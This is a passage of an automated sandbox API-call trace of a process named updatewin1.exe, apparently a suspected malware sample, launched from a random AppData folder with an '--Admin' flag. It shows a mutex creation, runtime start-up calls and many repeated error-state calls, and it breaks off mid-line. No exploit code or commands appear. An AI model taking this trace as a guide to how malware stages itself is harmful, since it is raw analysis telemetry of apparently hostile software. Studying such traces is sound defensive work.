lpMultiByteStr=0x18d630, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONOjS HALPmcxzal8-7d9ec416e53f\x18>e", lpUsedDefaultChar=0x0) returned 9 [0057.258] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="A6CF1546B-343A2EC6-63D8DC88-FF4A8C5D-82A11F69") returned 0xe4 [0057.259] GetLastError () returned 0xb7 [0057.259] VirtualFree (lpAddress=0x700000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0057.259] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.260] LocalFree (hMem=0x655e20) returned 0x0 [0057.260] LocalFree (hMem=0x656e20) returned 0x0 [0057.260] ExitProcess (uExitCode=0x0) [0057.347] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 62 os_tid = 0xb2c Process: id = "11" image_name = "updatewin1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe" page_root = "0xa27000" os_pid = "0xb08" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xac8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe\" --Admin" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 59 os_tid = 0xb0c [0055.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x8f359400, dwHighDateTime=0x1d56c59)) [0055.809] GetCurrentProcessId () returned 0xb08 [0055.809] GetCurrentThreadId () returned 0xb0c [0055.809] GetTickCount () returned 0x1147427 [0055.809] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17606803947) returned 1 [0055.816] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0055.816] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1d70000 [0055.817] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0055.817] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0055.817] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0055.817] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0055.817] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0055.818] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0055.818] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0055.818] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0055.818] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0055.818] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0055.818] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0055.818] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0055.818] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0055.818] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0055.818] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0055.819] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0055.819] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0055.819] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0055.819] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0055.819] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0055.819] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0055.819] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x214) returned 0x1d707d0 [0055.819] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0055.820] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0055.820] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0055.820] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0055.820] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0055.820] GetCurrentThreadId () returned 0xb0c [0055.820] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0055.820] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x800) returned 0x1d709f0 [0055.820] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0055.820] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0055.820] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0055.820] SetHandleCount (uNumber=0x20) returned 0x20 [0055.820] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe\" --Admin" [0055.820] GetEnvironmentStringsW () returned 0x5f4e78* [0055.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0055.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x0, Size=0x565) returned 0x1d711f8 [0055.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1d711f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0055.821] FreeEnvironmentStringsW (penv=0x5f4e78) returned 1 [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetACP () returned 0x4e4 [0055.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x0, Size=0x220) returned 0x1d71768 [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] IsValidCodePage (CodePage=0x4e4) returned 1 [0055.821] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0055.821] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0055.821] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.821] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0055.821] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0055.821] GetLastError () returned 0x0 [0055.821] SetLastError (dwErrCode=0x0) [0055.821] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0055.821] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.821] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﳴ饥㞕AĀ") returned 256 [0055.821] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﳴ饥㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0055.821] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﳴ饥㞕AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0055.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿýó\x9e\x96\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.822] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﳴ饥㞕AĀ") returned 256 [0055.822] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﳴ饥㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0055.822] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﳴ饥㞕AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0055.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿýó\x9e\x96\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0055.822] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43a580, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe")) returned 0x5f [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.822] GetLastError () returned 0x0 [0055.822] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.823] SetLastError (dwErrCode=0x0) [0055.823] GetLastError () returned 0x0 [0055.824] SetLastError (dwErrCode=0x0) [0055.824] GetLastError () returned 0x0 [0055.824] SetLastError (dwErrCode=0x0) [0055.824] GetLastError () returned 0x0 [0055.824] SetLastError (dwErrCode=0x0) [0055.824] GetLastError () returned 0x0 [0055.824] SetLastError (dwErrCode=0x0) [0055.824] GetLastError () returned 0x0 [0055.824] SetLastError (dwErrCode=0x0) [0055.824] GetLastError () returned 0x0 [0055.824] SetLastError (dwErrCode=0x0) [0055.824] GetLastError () returned 0x0 [0055.824] SetLastError (dwErrCode=0x0) [0055.824] GetLastError () returned 0x0 [0055.824] SetLastError (dwErrCode=0x0) [0055.824] GetLastError () returned 0x0 [0055.824] SetLastError (dwErrCode=0x0) [0055.824] GetLastError () returned 0x0 [0055.825] SetLastError (dwErrCode=0x0) [0055.825] GetLastError () returned 0x0 [0055.825] SetLastError (dwErrCode=0x0) [0055.825] GetLastError () returned 0x0 [0055.825] SetLastError (dwErrCode=0x0) [0055.825] GetLastError () returned 0x0 [0055.825] SetLastError (dwErrCode=0x0) [0055.825] GetLastError () returned 0x0 [0055.825] SetLastError (dwErrCode=0x0) [0055.825] GetLastError () returned 0x0 [0055.825] SetLastError (dwErrCode=0x0) [0055.825] GetLastError () returned 0x0 [0055.825] SetLastError 